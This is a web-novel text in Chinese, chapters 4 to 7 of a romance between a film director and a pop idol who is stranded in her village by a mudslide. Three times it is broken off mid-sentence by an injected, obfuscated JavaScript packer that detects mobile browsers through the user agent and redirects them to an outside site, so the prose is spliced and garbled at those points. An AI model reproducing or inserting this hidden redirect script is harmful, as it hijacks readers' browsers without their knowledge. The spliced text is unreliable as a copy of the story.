贺穗皱着眉头,上下牙之间发出“嘶”的声响。 她并不怎么了解安时年,没关注过他的社交账号,网上的各种所谓的安利视频更是一个也没看过,几年前听过他的歌但不知道人,要说什么时候名字和人脸能对应起来,也就是在她家窗外的大屏上循环播放的广告。 再到后来讨论曲子,都尽量保持着工作状态。 直到安时年因为曲子的事情想和她当面谈谈。 想起戒指的事情,贺穗又想逗逗他。 没想到拐了八百个弯的偏村落,任谁看了都不对劲,他还就真敢来。 灰蒙蒙的土路上,开着最贵的车,染着黄发带着墨镜,穿金带银满身写着不好惹的大男孩,又真心善地包下了大娘的梨。 现在是掉了梨先说抱歉,捡了一半没换鞋不敢进也不敢说。 一时之间,贺穗竟不知道说些什么,手撑着岛台笑着低头,又抬头看向他,抬了抬下巴。 说:“你后面那个,一次性的。” “哦。” “这个家一般没人来,你将就穿穿。” “没事,不将就。” 他蹑手蹑脚地进了屋子,先把满地的梨捡起来收进袋子里,放到岛台上。 贺穗头也不抬地拿汤勺指着冰箱,“你把梨放冰箱里。” 这一会儿,贺穗还觉得安静了不少,侧过脸看了一眼。 人正兢兢业业地放梨。 “你今晚也没地方去,先住一楼的客房,我在二楼,有事就敲门。” “好,”安时年手上放梨的动作没停,“那个曲子……” “明天说。” 安时年抿着嘴点了点头,手上放梨的动作都轻了不少。 过了很久。 贺穗这边的面都煮好了,他的梨还没放完。 “先吃面吧。” “给我的?”安时年问得有些惊讶。 “不然呢,你拿梨当晚饭?” 4. 星空 两人面对面坐着吃面,刚才还滔滔不绝的安时年这会儿像是吃了哑药。 贺穗没忍住先开了口,“你不是有问的吗?怎么不问了?” 她低头吃着面,能感觉到安时年的目光越靠越近,耳坠闪闪晃晃差点没亮着她。 猛地抬起头正好和安时年对视上。 看着他吃也不吃,说也不说,笑好像也不敢笑的样子,贺穗莫名一股气。 又觉得自己安静惯了,很少和这种小潮流的男生接触,不太懂他的脑回路。 今天一路走来没什么工作上的交际,这会儿也顾不上工作不工作的礼仪。 她用纸巾擦了擦嘴,两手抱在胸前,往背椅上一靠,就开始盯着安时年。 “我家空气给你下哑药了?” “没有没有,”安时年立刻摆手回复道,“就是觉得你……和工作的状态很不一样。” “你不是也不一样,我是没见过哪个公众人物说话结巴的。” “我不结巴!” “紧张?那我也没见过正常说话都紧张的公众人物。” “我是人,是人就总有紧张的时候。” “我也是人,生活就是生活,工作就是工作,要不我们各退一步,你不用处处周全,我不用时时刻刻要笑着,客客气气地当然礼貌,就是累得很,体谅一下怎么样?” 安时年笑起来,吃完最后的面。 “好啊,”安时年笑起来,吃完最后的面,问:“这儿是你家?” “嗯。”贺穗点点头。 “和我家好像啊,我妈妈喜欢这种装修,也有一整面墙的书柜,一进来我差点以为回我家了。” 贺穗看了看客厅的茶几书柜,“这也是我妈留下的。” 她多的话没说,起身收了碗筷,把凳子推回去,“我还有工作,有什么事明天再说吧,麻烦你洗碗了。” “好!” 安时年才放松下来,也起身收拾碗筷。 暖黄色的灯照亮着房间里的角角落落,贺穗走到沙发处,收拾茶几上今早落下的书。 水声伴随着洗碗的动作,一开一停。 贺穗爬上梯子,一本本地将书放回到书架的高层。 她手扶着木梯子,下来时转身正好看见没有拉住窗帘的落地窗,照出两人背对的影像。 这个家自从母亲过世后她就很少回来,更不要说把谁带来,安时年算是个意外。 陶瓷相碰,安时年收拾起厨灶。 贺穗上了二楼没有急着进屋,而是双臂拄在二楼的围栏上,定睛看着楼下的景象。 安时年精瘦的腰间系着围裙,黄色的头发还有点长,盖住了他一半的后颈,手上忙活着,嘴里还哼起歌来。 贺穗看着他的背影有些出神,想起她身边的朋友这几年陆续谈了比自己小很多的男朋友。 她早不是对感情有多需求的人,在她的生命里爱情还排不到前面,想着顺其自然,爱便爱了,没有爱就不爱。 要说顺其自然,六年前与男朋友感情不错,可两人各有前程,秉持着互相理解的态度,一起吃了顿饭就结束了三年多的感情,装饰性戴上的尾戒,时间一长也成了习惯。 问她遗憾吗?好像也没有,分手后她开自己的工作室,筹备短片,再到现在的电影,忙得晕头转向,对方也在国外发展学业,听说去年刚取得博士学位。 都是为梦想拼命奔跑的年轻人,都不轻松但又走在自己的人生路上。 散伙饭感谢了彼此带来充实快乐的三年时光。 雪天夜里,对方哭得稀里哗啦,贺穗倒是坦然,围上围巾笑了笑,向着反方向走了。 恋爱……什么味来着? 她在二楼的围栏上发呆,眼神还向着厨房的方向。 楼下的安时年高高挥手,刚想开口又考虑该怎么称呼。 直呼大名?不好吧? 贺导? 不是说了别太客套吗? 穗姐?今天听那个路人这样叫她,但对我来说会不会把她叫得岁数大了。 “贺……贺老师!” 他挥着手蹦起,才引起贺穗的注意。 “怎么了?” “这里有两间房。” “哦,你住里面那间。” 贺穗两手不自然地插进裤兜,摇摇晃晃进了屋子,心里莫名其妙地越想越远。 安时年关了客厅的灯才回到自己房间,打开门是一阵暗暗的橘子香,是他很喜欢的味道,墨绿色的被单铺得整整齐齐,还特地折了被角。 床头放了夜灯和香薰,还有一件叠起来的白T,摊开一看写着“禾穗动画工作室”。 “原来是文化衫,怪不得有我的尺码,算了,有得换就不错了。” 洗完澡他搭着毛巾出来,穿着正正好好的文化衫,坐在床头。 好奇地伸手拉开窗帘,是一面落地的玻璃,不是窗户而是个门,打开锁正好到院子里。 刚从车上下来的时候没注意看,整个院子里只种了一棵大树,其余的全是整片的草坪,看得出来是有精心打理过。 “原来这个院子这么大吗?”他小声嘟囔着。 周遭除了夜里的蝉鸣一切都很安静,安时年闭起眼睛缓缓转着圈抬头。 再睁开眼,是片一览无余的星光。 “哇——” 常年待在城市里的人,很少有机会能看见这么多的星星,他不由得拍了张照片。 再张开双手站着,抬起头,闭着眼睛轻笑,仍由夜风穿过他的还带着水汽的头发,吹起他的T恤,撑成一个圆鼓鼓的形状。 二楼阳台,贺穗还在讲着工作电话,走出来透气时,院子里的光却不经意间吸引了她的视线。 暖光打在安时年的身后,像是添了双翅膀。 “贺导?刚说的还需要改吗?” 安时年的背影与那天演唱会的他重叠,她似乎有点明白那些穿着纱裙奔跑的女孩是为了什么。 这世间总要有份美好长存,即便不是自己。 “贺导?” 电话那边的声音再次传来。 “啊,改,改一下。” 她说完,楼下的人也睁开了眼睛,与她对视,接着粲然一笑,跑进了屋里,连带着光芒也随着窗帘的拉上而消失。 大晚上的,贺穗竟有点失眠。 辗转反侧,她摸黑拿出枕头下的手机,鬼使神差地点开微博界面,搜索:安时年。 “安时”两字刚打完,下面的相关词条就已经列了出来。 #安时年星空 #安时年亚洲巡回演唱会 她点进第一个词条,弹出来的是安时年三十分钟前发的微博。 是一张星空照,配文:星空。 照片拍到了贺穗二楼窗台的一角。 她眯了眯眼,“是刚才拍的啊。” 又接着翻了下面的评论,很多粉丝说得都是四五行一模一样祝福,对于贺穗这种很少关注粉丝群体的人来说,并不理解发这么多一样的为什么。 定睛翻了两下,她才注意到那些粉丝的头像都是蓝底白字,能连成一句话。 “时、岁、同、程,与、年、共、生。” 原来是在送祝福。 贺穗觉得还有点意思,点进他的主页。 关于星空的帖子,点赞的数竟有八十万。 “八十万?八十万人看过了?三十分钟吗?” 贺穗撑着眼睛细想一下八十万的概念,才意识到姜孟雨那句省下宣传费是什么意思。 她接着往下翻着他的主页,时装周的照片,再往下贺穗手一顿。 迎面的一条就是安时年在地上抱着装满便利贴的玻璃箱子,抬着眼睛,手里还捏着几张便利贴,挡住半边脸笑着。 配文:巡演圆满结束~~大家的心意我全都收到啦回家要注意安全哦!【爱心】 “是那天看到的箱子。” 贺穗打开床边的夜灯,背靠在枕头上,两指放大照片看了看。 整个画面中安时年的侧边是一格一格的架子,那是满满的溢出来的信件。 “哇。” 她有点淡淡的震惊。 清晨天亮,安时年早早起床,为了不给人添麻烦,他将床铺整理得干干净净,又蹑手蹑脚地出了房门。 餐桌上有一个网布罩着的油条和包子,锅里还温着米粥。 安时年见水槽里是已经吃完的碗筷,又看了看手机,明晃晃地亮着早上七点半。 “她这也太早了。” 他顺着楼梯看去,二楼不见光亮,反倒三楼有说话声。 “贺老师?”他轻声询问。 他循声向三楼走去,三楼不是住的地方而是一间阁楼,晨光照透垂下的白色纱帘和琉璃瓦的玻璃,七彩斑斓的光打到木地板上。 阁楼的角落堆着的是一些大尺寸的油画。 掀开白色纱帘,是和他卧室一样可以打开的落地窗。 他猛地一拉,外面的风措不及防地迎面冲进来,白色纱帘被风吹着扬起,刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372326|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他的身上,一时手忙脚乱不知怎么翻出来。 门没开成还让纱帘把自己缠住了。 下一瞬间,玻璃门被从外面一把推开,贺穗一身黑色运动衣露出小臂撑住大开的玻璃门。 风从口子呼啸而入,白色的纱帘从安时年的身上挣脱,扬起来直打阁楼的天花板。 贺穗的长发没有扎起,随风一同被卷进屋子里,不偏不倚地拂过安时年的脸颊 头发的轻撩,让他抬起头,咫尺之间贺穗叼着棒棒糖一脸诧异地看着他。 风就这么慢下来,白色纱帘如同他昨夜贯起的白T一样缓缓落下,重新停在窗前,隔开他们二人。 “砰——” 角落的一张油画乍然滑落。 惊得安时年一颤,两人视线一同往后看去。 “吃过饭了?”隔着纱帘,贺穗问道。 “没有。” 才听到他的回答,纱帘上就没了人影。 贺穗诧异地掀开帘子进来,见他背影正跑到阁楼的角落去扶刚才滑落的画。 “不用管那个,在地上放着就行,不然一会儿又被风吹倒了。”她说道。 安时年把画卡在拐角处,笑了笑:“没事,放在这儿就不会被弄倒了。” 他扶着画仔细看了看,大的小的油画,画的全是这个家的场景,厨房,书架,还有阁楼的琉璃玻璃。 “这都是你画的?” “嗯,”贺穗嘴里的棒棒糖拿出来换了个方向,又从纱窗后面出去,“你去吃饭,吃完了我和你说一下曲子的事,聊完,下午我送你出去。” “这么快?我这周没工作。” 安时年说着追了上去,掀开纱帘一跃而出。 阁楼出去是别墅的天台,眼前是看不到边界的草浪,乌云盘在顶空笼罩住整个村落。 “哇——” 安时年趴在栏杆上,向四周望去,村落除了贺穗这一家其余的全是低矮的木屋,都聚集在草浪的另一侧,别墅周围一家住户都没有。 “你这视野也太好了!” 草浪疯狂翻涌,背后的大山屹然不动。 大道上是零零散散的车辆,小路中间是排队走路上学的孩子,他们竞相追逐,欢声笑语。 身后的贺穗忙着摆弄相机,此次她是为电影里需要修改的分镜,专门来补拍草浪的。 安时年就那样撑着栏杆,双眼亮闪闪的,满是新奇地打量着周遭。 贺穗看着这副模样,嘴角下意识地轻轻上扬,缓缓将相机镜头对准了他的背影。 咔嚓。 她低头欣赏着自己拍的照。 “早——” 闻声抬头,安时年撑着栏杆半个身子探出去,高声喊道。 “啧。” 这个蠢货。 贺穗来不及震惊,两步跑过去把还没伸出手的安时年拉下来,蹲下藏到不透明的围栏处。 两人面面相觑,安时年比她还懵。 片刻后,下面传来孩子们嘻笑的声音,齐声喊道:“贺姨姨交男朋友啦?” 贺穗一手压着安时年的肩膀,一边起身说道:“去去去,再瞎说,我给你们老师告状!” “哈哈哈哈,她害羞啦!” 贺穗不回答就这么一直摆着手,让他们快走。 一女孩跑到楼下,抬着脸,拼命大喊道:“贺——姨——姨——,什么时候来学校!” “什么?” 贺穗明明听得清清楚楚,偏要装的疑惑,把手搭在耳边,让孩子再说一遍。 几个女孩凑在一起,小声打着节奏,“三、二、一,”大吸一口气喊道:“什——么时候——来!学校!” “今天的事你们不乱讲!我就来!” 说着,她在手上比着拉拉链的动作。 孩子们心领神会,猛猛点头。 看着人走远了,她才低头叫安时年起来。 “不能打招呼吗?”安时年整理着头发问。 “你不打招呼,就没这么多事。”贺穗皱着眉头看他,顺嘴把棒棒糖拿出来。 “抱歉,不过我看都是孩子才打招呼的。” 安时年比她高出一个头,就这么在她面前抿着嘴唇,抬眼看了看她的眼色。 “我就说了两句,你怕什么?” “我,我哪里怕了?” 安时年眼神飘飘忽忽地挺直腰板,说出一句毫无气势的反问。 “切。” 贺穗被他整的有点搞笑,摆过脸懒得搭理他。 5. 兔子 贺穗像昨天一样抱着双手,靠在背椅上,盯着眼前安安静静吃饭的安时年。 冰箱里吃不完的梨,从来不会倒下的画,还有专门收拾出来的客房。 她想逗人的心思,带出一连串的连锁反应。 与其说是安时年打破了她安静的生活,不如说是她自己放了诱饵,守株但不逮兔,只是请它逛一逛,再送出去。 给自己平淡的生活添几分佐料,乐一乐。 安时年在被注视下吃完饭,收拾进厨房,才敢摸摸自己的身子,热热冷汗。 贺穗:“放洗碗机里就行。” 安时年:“好。” 几个碗筷加上锅放进洗碗机里,按下开关。 客厅里传来钢琴的曲调,是安时年前两天发给贺穗的。 贺穗开着电脑,一手拿着笔歪着身子坐在椅子上。 曲调从悠扬轻缓到挣扎错乱再到铮铮不息,重音砸完,接上的是窗外猎猎作响的风声。 贺穗还是那句话,太过激进,强烈,不柔情强行痛苦,像挣扎的烂柿子拼命地挣烂自己的皮,柿子成了盖世英雄,还俗套地多了一身麒麟铠甲。 “我不认为你有感受到她的情绪,”贺穗手里的笔点着书桌,“我不是让你写一首泄愤的曲子,第一版的时候我就问过你,你在想什么?” 他的曲子里没有母亲,没有主角春余,在贺穗看来他也不是激进的性子,到底从哪里来的怒气。 在想什么? 安时年看着贺穗,眼神没有一丝闪躲。 “我认为她过得痛苦,既然痛苦不该愤怒吗?” 他是一个音乐创作人,这几年发布的专辑都有很亮眼的成绩,从粉丝狂欢到路人入场,也许有运气的加持,却也少不了他才华的土壤。 “为什么痛苦?” “生育、养育,还有怀孕对身体所造成的不可逆,更不要说她带着孩子逃跑,如果像今天这样的冷风一吹,受了凉落下病根岂不是还会疼痛一辈子。” 贺穗看着他掰着手指头,将痛苦细细数来。 截然不同。 和陈方好的解释截然不同。 陈方好在最后一版送来的曲子中向贺穗解释道:“被那么多人劝说打掉的孩子,她却坚持要生下来,即便是逃走都要带上,那她一定是深深爱着孩子的,像圣母玛丽亚一样怀抱孩子,温柔地亲吻孩子的额头……” 贺穗揉揉脑袋,说:“你说的我完全认同,但过于亢奋的曲子会喧宾夺主,它应该和画面相照应。” “那陈方好是写曲的专业户,不会喧宾夺主,也更柔情,更有爱,为什么不用。” 安时年说得慢声细语,不是赌气质问,甚至连疑问都算不上。 他和陈方好也算老朋友,听过陈方好的曲子,按理说他的实力写一部剧的插曲不至于改这么多遍定不下来。 音乐这种东西,无心的听旋律,有心的听感情。 旋律好改,但要情感一致,就是肚子里的蛔虫也难做到。 贺穗摆摆手,把笔点在纸面上,划出一条长线。 “他的太过柔情没有达到我想要的情感。” “什么情感?” 安时年紧着追问。 身后的落地窗颤动,关紧的门窗撑不住风的狂扰,承接丝丝雨露。 贺穗心里明明早有一万个说辞来回答,话到嘴边却怎么也讲不出,沉默大于一切。 安时年接着说:“你不知道,或者你太知道了,才会这么不满意。” 六年前吸引他无畏冲天的动画少女,现在在眼前安静茫然地看着他。 时间把她推得成熟,周到,包容,甚至掌握一切。 一个自诩强大的人,还需要带个尾戒来捆住自己。 安时年不问母亲春轩儿这个角色,而是分镜后的另一面,那个穿越而来阻止一切的女孩。 “叮叮叮——”洗碗机已经洗完。 贺穗看他跑到厨房,去整理洗好的碗筷。 她手里的笔点在纸上,密密麻麻。 意识到话题被安时年扔回来,不是问电影,也不是问角色。 而是问贺穗在想什么。 我能想什么?我就要契合电影的,一首温柔又不缺力量的曲子。 她发着呆细想,客厅的窗户四处颤抖,淅淅沥沥的小雨变得瓢泼。 雨势变得急促,雷鸣交接,看着没有停下的意思。 贺穗见状猛地起身,叫出厨房里的安时年,“拿上你的东西,出来!” 她跑到门口换鞋,拿上车钥匙就出了门。 安时年不明所以,还是随便整理了一下,跟着向门外跑去。 车已经在门口停好,他猛冲进雨里,三两下跳进车里。 “怎么了?怎么了?” 他把湿透的头发向后一甩,问道。 “雨等会儿会更大,我先把你送出去,至于曲子的事情等我想一想,过几天给你答复。” 贺穗身上也全是雨水,一手抓着方向盘,一手搭在换挡处。 出了院门,她的车速打得比山路还快,雨声在挡风玻璃上逆流而上,安时年大气不敢出,只是点头。 贺穗逆着车流向前,刚到山脚,两个穿着反光服挥舞着发光手棒的人,拦下车子。 冒着雨趴在贺穗的车窗玻璃上,一个又高又瘦的年轻小伙和一个大肚腩的小个子中年人。 是贺全涛和村长。 “穗姐,路封了,这会儿出不去。”贺全涛打着玻璃喊道。 另一边的村长个子够不到贺穗的车窗,只能抓着后视镜,硬踮起脚尖向里凑。 “呦,小穗回来啦啊?这会儿可再出不去,山的另一面,泥石流!把路口堵住了。” 他甩甩手里的荧光棒,呲牙咧嘴地呸掉嘴边的雨水。 安时年闻言从副驾驶上凑过来问,“泥石流?” “救援的来了吗?”贺穗问。 贺全涛慌里慌张地掏着手机,拔高了声调回道:“正往这里赶呢,反正前明村是出不去了,山那边的差点冲了村子,不知道谁的车卡在村子口,挡住不少泥沙,目前还没伤到人。” 说话间,他打开手机屏幕亮度调到最大,点进村里的大群,把手机凑到贺穗眼前翻着照片。 一张是泥水裹着碎石的从山上滚下。 贺全涛又翻了一张,努努嘴说道:“那车我可看着不便宜,不知道是谁的。” 照片中一辆远山牌的大越野车头都被泥水撞得凹陷变形,车身满是泥浆,正好卡在村口的路上挡住泥流。 突然,副驾的安时年整个人往前一扑,一手仓促地撑在贺穗的背椅上,另一只手顺着惯性抵在方向盘的喇叭上。 “哇啊!!” 车喇叭声与他变了调的喊叫声搅在一起,震得人耳膜发疼。 几秒后,他像是被抽走了力气似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372327|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘫回到副驾座椅上。 贺穗与贺全涛几人互相对视一眼,谨慎地开口问道:“不,不会是你的吧?” 安时年僵硬地点了点头。 这车是他刚火起来的时候攒了不少钱买的,开了好些年了,只要是喜欢他久一点的粉丝一定能认出来。 认出来就代表会被曝光,一旦曝光,他这两天的安静生活就一去不复返。 安时年脑子里千山万水地飞过,懵了一阵。 随之而来的狗仔,私生,如果还被扒出来我住在贺穗家,我就连她都给拉下水。 车上无比安静。 村长左右看看,举着闪光棒摇摇晃晃地到后面去示意下一辆车掉头。 “哈哈哈……哈” 贺全涛尴尬地笑了几声,“这也是,为,为人民做贡献嘛。” 雨越下越大,雷声交叉,冲刷着山体。 贺穗向半山腰一看,落石从山腰滚下,砸向道路的两边,她叹口气忙摆手道:“快快快,先上车!” 等得及他开门,等不及上,贺全涛才踩上踏板,贺穗就猛地倒车,又一把停住,叫后面的村长上车。 一走一停,旁边的安时年差点没呕出来。 贺穗扯着嘴角,侧着眼睛看向他,“敢吐车上,你就、完、蛋、了。” 安时年摆摆手,皮笑肉不笑地乖乖坐好。 后面车门一关,贺穗开着倒挡踩猛油门,前面落石一块一块地砸向他们经过的地方。 村长眯着眼睛慈祥地笑着,看着淡定,实际另一只手颤颤巍巍地抓着门把手。 “嚯,穗的车技这么好哇?” 车一路退到了十字路口,贺穗毫无征兆地一记甩尾漂移,正了方向猛地一脚油门踩到底,从落石追赶的区域逃了出来。 “c!!贺穗!”贺全涛一声怒号,“能不能提前说一声!你一个甩尾,我以为我到空间站了!” “上了车你不系安全带!?”贺穗难得一嗓子回他。 贺全涛:“我平时都坐两座皮卡,谁能记起后座系安全带?” 贺穗:“行了,你安静点,这车里光听见你声儿了!” 贺全涛:“废话!村长都晕了那能有声儿吗?” 突然意识到什么的贺穗转头向副驾看去。 安时年正两手紧紧抓着安全带,侧着头搭在车门处,已经干了的头发散散地垂在他的鼻梁处,睫毛颤动,看着很是安然。 贺穗正看着,贺全涛从驾驶座的中间探出头来,挡住她的视线。 “你看,老的少的全晕了,”贺全涛看了一眼贺穗,又转头盯着安时年,“不过,你从哪里招的人,不知道的以为你拐了个明星来。” 贺穗看着他的大脑袋,拍了拍方向盘。 “你……平时是不是不看娱乐新闻?” “我送货都忙不过来,哪有心思看娱乐八卦。” 答完,他直着腰坐起,突然转身趴在贺穗身后,“不会吧?真的假的?他叫啥?” “安时年,你查查。” 车的速度慢下来,她一只胳膊撑在车窗上,手扶着额头,在雨水洗礼的车内她静静等待着。 “穗姐,这……” 贺穗:“说的什么?” 贺全涛:“那个车被人认出来了,网上全是说这事的,都传安时年……是不是出事了。” 贺穗:“啧。” 请进来的兔子,砸手里了。 6. 久见 雨还在下,山在两面发生泥石流,直接把前明村的路封死,进不来出不去。 本来不至于引起这么大的热度,可偏偏出现了安时年的车。 还被落石砸的没了样子。 当下车在山外正被官方媒体实时直播。 人还没出面,车先火了。 【所以里面有人吗???】 【没人!!请大家不要谣传!!保持理智!等工作室通知!!】 【不要谣传各位!!】 网上粉丝和凑热闹的路人将安时年的车,泥石流这类词条顶到最高热度,直接爆红。 前明村这么个小村的话题度都顶到了两亿。 村委会的人在办公室站了一圈又一圈,不过都是上了年纪玩不来网络的老人,知道事情闹得大,但具体多大,没个概念。 一边忙着统计村子里的人,一边还在接领导的电话让赶紧查查安时年这个人在不在村里。 “你带进来的?”白村长清醒过来,靠在办公桌上盘着脑袋。 贺穗点了点头。 “是个大明星?” 贺穗又点点头。 安时年在外面忙着接工作室的电话,说完接着给家里人打过去。 他听着电话进屋,嘴里还笑着回妈妈的话。 刚挂下,他忙一脸灿笑地先向白村长伸出手,“您好您好,刚没来得急打招呼,我叫安时年,是贺穗的朋友,趁着休假过来玩,没想到惹出这么大的事,是我的不是。” 他喘着气话说得极快,刚下了车头发又沾上雨水,他随手抓成背头的样子,耳坠叮叮当当地带了一大堆,脸再帅气还是一副街头混娃娃模样。 但好在话说得诚恳,村长没挑出毛病,听完还摆手说着不太标准的普通话:“泥石流是天灾,哪里是你的错,俗话说来者便是客,你到这里来我们得款待一下才是,小穗也不说,让我们都不知道,没有准备。” “没有没有,她招待的很好,只是天气不好。” 贺穗笑了笑搭上两人相握的手,“好了,村长,该解决事情了。” “对对对,安时年是吧?” 安时年点点头。 白村长又摸了摸脑袋,再抬头时眼睛里已经布上了红色的血丝。 “小年,前明村只是路不太好,其余都很不错的,你一定是好孩子才有这么多人喜欢你,要好好澄清一下。” “知道了村长,”贺穗推着安时年走,“我看着他。” 她将人拉进一间空的办公室,关上门,打开灯问:“录视频对吧?” 安时年一脸惊讶,“你怎么知道?” 正手足无措着,贺穗已经腾出了一片白墙的位置。 “视频才能证明你活着,能喘气,和刚才给村长说得一样,不要说出我们合作的事情,别说其他不好的话。” 她伸着手停了半晌,皱着眉歪头看向愣住的安时年。 “你的手机,用我的拍还得传给你,多麻烦。” “哦哦。” 他递上手机,整理整理衣服站到贺穗前面,贺穗正专注找他手机里相机在哪里。 她的个子不矮,安时年微微低头就能看到她的脸,长长的黑发带着雨水的湿气搭在肩膀两侧,手机的光亮打在她的鼻梁处,还微微闪着睫毛。 她脸上的骨骼分明,这个岁数已经没有所谓的婴儿肥,一张薄得白里透红的皮相紧紧贴在脸上,眉骨与鼻梁为她打了浑然天成的阴影。 安时年早年看过她在伦敦领奖的视频,也只是简单看过一次。 再到后来姜梦雨介绍时,安时年听名字还有些耳熟。 卡其色大衣,牛仔裤白内搭,还带着棒球帽,她简简单单地从角落微笑着伸手走出来。 安时年才有一些怔愣。 “开始吧。” 贺穗向后退了半步,举起手机,将镜头对准了他。 安时年刚回过神来,迎着她的镜头开口:“大家好,我是安——” 话音未落,办公室的灯“啪”地全灭了。他们眼前一片漆黑,几乎什么也看不见,只听见隔壁办公室悉悉索索的动静,慌乱的光束在院里交错。 贺穗轻呼一声,低声道:“应该是停电了。” 下一秒,她已经利落地打开手电,和安时年的手机一同对准他。 光不偏不倚地打在他的脸上,安时年被晃得眯起眼睛,下意识抬手去挡。 “是不是闪到你了?”贺穗立刻察觉,手腕一抬,把手电筒的一边举高,避开他的眼睛。 “没事,可以了。”安时年一手抬着,眯着左眼缓缓睁眼。 他保持着背头,只有一缕黄发弯弯地搭在额前。 灯光修饰他的脸型,明暗交错,在一切黑暗中凸显出来。 脸是把利器。 视频一发出去,立刻席卷了帖子。 【背头!!我的鼻血谁来帮我挡一下!】 【叽里呱啦说的什么呢,全在看脸】 【年年!帅出新高度!!!】 【你赶飞机回来就是去这里?大哥干啥去了??】 【活着就行。】 安时年视频报了平安,也说了希望灾情能尽快过去。 大多人还是关注于他的外貌,尤其粉丝控评占了帖子下的百层楼。 话虽说得圆满但仍挡不住不满的声音。 【能不能别占公共资源,怎么又上词条??】 【盘点那些被五官封印的颜值,asn荣获榜首!】 【呵呵仅粉丝可见】 【对家就别上这里刷存在感你家老实出两首歌可以吗?】 喜忧掺半吵了八百层楼。 还有不少路人只可惜安时年的车,给他多贴了层倒霉的人设。 “你还真行,一天没看住就出这事,”另一头的李昌气急败坏道:“你到底去前明村干什么?这波热度可不好解释。” “别瞎说,我宁愿没有这热度。”安时年一本正经道。 “你也知道啊!再这么冲动行事,我再也不当你经纪人了!” “别生气,我也没什么大事,当务之急你看我的工作能推的推一下,就近的晚会我可能去不了了,”安时年怯生生地说,全然忘记自己才是老板,“再安排救助物资的事情,工作室也回应一下。” 另一边的李昌气道:“这些我当然能安排妥当!再说当务之急是工作吗?!” “啊?不是吗……”安时年挠挠脑袋笑道。 “是活着!安时年你一根毛都不能伤到!” 李昌几乎是要从电话里跑出来,揪着安时年的耳朵强调。 安时年淡淡地摆摆手,笑道:“知道了知道了,你告诉大家也不用担心我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372328|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村支部的位置比较高,他挂了电话站在院子里,正好能看见远处的山,虽然雨停了,但裸露的褐色山体依然清晰可见。 山川的景色与贺穗的手稿融为一体,安时年今早就有所察觉,这里是贺穗电影的取景地,也是贺穗的老家。 与她相识的人处处都是,安时年却感受不到贺穗的放松。 也许是因为工作,毕竟她总是在打电话对接工作。 一眼看遍整个村庄,贺穗的别墅支在原野中,在一片平矮的房屋中,格外显眼。 正看着,贺穗从旁边的小路上来。 “贺姐姐!” 闻声看去,一个四五岁的小姑娘从旁边的大院子里跑出来,紧紧抱住贺穗的小腿。 贺穗几乎是瞬间僵住,一动也不敢动。 安时年看她的样子,先没忍住笑出了声。 “笑什么。” 听见声音的贺穗看过来,极其无聊地说了一嘴。 她两手将孩子抱起来,小女孩就像个树懒一样环在贺穗脖子上,两腿也盘着她的腰。 “脆脆,怎么叫我姐姐?” 贺穗拍拍脆脆的背,轻声问道。 “田姐姐说你和她是好朋友,我和田姐姐也是好朋友,那我们就是同辈,就叫姐姐!” 脆脆说着,摸摸贺穗的头发,又卧进她的颈处。 追着她出来的还有个年轻女孩,正站在门口有些惊讶地看着贺穗。 贺穗更是一愣:田舒宁? 两人三年没见,贺穗只知道她去读了研究生,这几年去了哪里也没机会打听,还以为不会再见了。 她小时候总是一头齐耳短发,带着半张脸大的圆眼镜,肩上几乎是扛着沉甸甸的书包,早出晚归地在学校和家两地来回跑。 贺穗的妈妈见了她,总是会在远处的路口停下车,帮她买早餐再顺路带她去学校。 一来二去人就熟了。 贺穗笑笑又重新扯出社交式的微笑,“好久不见。” 她的短发已经长到了肩上,圆眼镜也换成了隐形眼睛,简单化了点妆,看着是成熟了不少。 田舒宁上下打量贺穗一眼,皱着眉先伸手抱她怀里的脆脆。 “快下来,这么大了还要人抱,你得累死她。” 贺穗也没多说,顺势把脆脆放到地上拍拍背,轻声道:“去吧。” 那孩子不接田舒宁的话,直愣愣地跑进去。 半道儿她转过身,喊道:“贺姐姐力大无穷!抱得住我!!” 贺穗站门外看着,抿着嘴笑了笑,对上田舒宁略带鄙夷的视线,耸了耸肩:“怎么在这里?研究生读完了?” “你管我?” “某人看不惯我,还对孩子说和我是好朋友呢。” 贺穗说话音拐着弯儿,还笑着歪头看向她。 “那是为了你的脸面,少给自己贴金,”田舒宁一边说着一边开学校的网门,“要不是村长吩咐了给你们留饭,我见都不想见你。” 贺穗嘴角没有停下,心里清楚田舒宁样子再成熟,性子还是一点没改。 “喂!那边那个黄毛!进来!”田舒宁指着远处站着的安时年大喊道。 安时年闻言还左右看了看,确定没人才想起来自己新染的黄发。 “我?” 正疑惑着,院子里传来贺穗的大笑声。 7. 琴光 